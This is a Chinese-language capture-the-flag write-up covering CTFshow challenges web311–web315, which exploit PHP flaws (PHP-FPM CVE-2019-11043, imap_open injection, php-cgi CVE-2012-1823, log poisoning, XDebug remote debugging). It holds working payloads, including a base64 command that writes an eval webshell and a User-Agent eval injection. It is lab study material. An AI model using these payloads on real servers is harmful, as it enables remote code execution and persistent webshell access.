目录

  • CTFshow phpCVE
    • web311-CVE-2019-11043
    • web312-CVE-2018-19518 PHP imap_open函数任意命令执行漏洞
    • web313-CVE-2012-1823phpCGI远程代码执行漏洞
    • web314-日志包含
    • web315-XDebug远程调试漏洞

CTFshow phpCVE

web311-CVE-2019-11043

CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。

向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:

location ~ [^/]\.php(/|$) {...fastcgi_split_path_info ^(.+?\.php)(/.*)$;fastcgi_param PATH_INFO $fastcgi_path_info;fastcgi_pass   php:9000;...}

攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info​指令中的Regexp。Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。

安装漏洞利用工具

git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build

在phuip-fpizdam目录下执行 go run . "http://xxxx/index.php"后成功显示漏洞利用成功。

然后get传参执行命令即可。

http://83e2352c-ee1b-489d-b747-e7b15a1f3ed6.challenge.ctf.show/?a=ls

我反正没成功。

web312-CVE-2018-19518 PHP imap_open函数任意命令执行漏洞

PHP的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前没有正确地过滤邮箱名称。

如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。

成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。

此外要求攻击者具有对目标系统的用户级访问权限。利用时没有很明显的回显效果。

参考链接:https://www.cnblogs.com/biing/p/13049730.html

Payload:

hostname=x+-oProxyCommand%3decho%09xxxx|base64%09-d|sh}&username=1&password=1

我们只需要修改xxxx的地方

#base64编码
ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sL3NoZWxsLnBocA==
echo '<?php eval($_POST[1]);' > /var/www/html/shell.php

web313-CVE-2012-1823phpCGI远程代码执行漏洞

参考链接:https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html

cgi模式下有如下一些参数可用:-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助

最简单的利用方式-s​直接显示源码

使用-d​指定auto_prepend_file​来制造任意文件包含漏洞,执行任意代码:

/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
<?php echo shell_exec("tac /somewhere/fla9.txt"); ?>

web314-日志包含

日志包含漏洞属于是本地文件包含,同样服务器没有很好的过滤,或者是服务器配置不当导致用户进入了内网,本来常规用户是访问不了这些文件的,但由于发起访问请求的人是服务器本身,也就导致用户任意文件读取。

首先需要开启服务器记录日志功能

在不同的系统,存放日志文件地方和文件名不同
apache一般是/var/log/apache/access.log

nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

Payload:

?f=/var/log/nginx/access.log
User-Agent: <?php eval($_POST[1]);?>

web315-XDebug远程调试漏洞

XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并设置

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

这个配置下,我们访问

http://target/index.php?XDEBUG_SESSION_START=phpstorm

目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。

脚本地址:https://github.com/vulhub/vulhub/blob/master/php/xdebug-rce/exp.py

Payload:

python3 exp.py -t http://be189f8f-1425-41a8-b830-87f722a186df.challenge.ctf.show/index.php -c 'shell_exec("ls /");'

注意:因为该通信是一个反向连接的过程,exp.py启动后其实是会监听本地的9000端口(可通过-l参数指定)并等待XDebug前来连接,所以执行该脚本的服务器必须有外网IP(或者与目标服务器处于同一内网)

我没成功,脚本一直显示超时。

CTFshow phpCVE相关推荐

  1. CTFshow sql注入 上篇(web171-220)

    目录 前言 题目 web 171(万能密码) web 172(回显内容过滤,base64或者hex编码绕过) web 173(回显内容过滤,base64或者hex编码绕过) web 174 (布尔盲注 ...

  2. CTFshow 反序列化 web266

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # ...

  3. CTFshow 反序列化 web260

    目录 源码 思路 题解 总结 源码 <?phperror_reporting(0); highlight_file(__FILE__); include('flag.php');if(preg_ ...

  4. CTFshow 反序列化 web259

    目录 源码 思路 题解 总结 源码 <?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']); //vip can get f ...

  5. CTFshow php特性 web150plus

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  6. CTFshow php特性 web150

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  7. CTFshow php特性 web147

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  8. CTFshow php特性 web140

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  9. CTFshow php特性 web138

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

最新文章

  1. BCELoss BCEWithLogitsLoss 多标签损失函数
  2. LINUX在逻辑卷基础加盘操作步骤
  3. 像素钱包:一个可以把比特现金藏在图片里的APP
  4. axios + router4 + mobx:对于全局登录的思考
  5. 深度linux腾讯视频,在UOS/Deepin 20/Ubuntu 18.04下安装腾讯视频Linux版的方法
  6. Ambari 架构(三)Ambari Server 架构
  7. 使用一阶微分对图像锐化
  8. 时任上海来伊份互联网事业群总裁王戈钧 :传统企业(线上+线下)移动互联网改造...
  9. 在Java应用程序中使用密码学
  10. ModChip and more
  11. 程序员养生(01) -- 心态
  12. 18种证明公安部门不再开具应该找谁开
  13. 分形之谢尔宾斯基(Sierpinski)三角形
  14. Linux 性能调试 之 drop_caches
  15. 计组之指令系统:2、指令寻址与数据寻址(直接寻址、间接寻址、寄存器寻址、寄存器间接寻址、隐含寻址、基址寻址、变址寻址、相对寻址、堆栈寻址)
  16. hsk内网穿透+SERV-U+搭建FTP服务器+并实现外网访问
  17. 针对MacBook提示目前翻译不可用请稍后再试的解决方法
  18. 微电子电路——期中总结
  19. Git分布式版本控制工具【IDEA版】【安装和使用以及上传代码到Gitee】(一篇文章精通系列)
  20. 我的物联网项目(十五) 微服务业务拆分

热门文章

  1. 【jzoj2222】拯救小鸡
  2. 原厂HT7525.HT7530.HT7533.HT7536.HT7544.HT7550三端稳压管,性价比高
  3. 前台数据结构变化的修改及反思总结
  4. 如何在本地完成CS231n课程作业
  5. sqlserver如何设置定时任务并发送邮件
  6. css样式lighter的意思,css常用的属性
  7. GibbsCAM2013v10.5
  8. 使用三种常见循环求100以内2的倍数和、100以内3的倍数和
  9. 虹膜识别-DeepIrisNet_1
  10. 《劝学篇》荀子 | 品味 | 大道至尊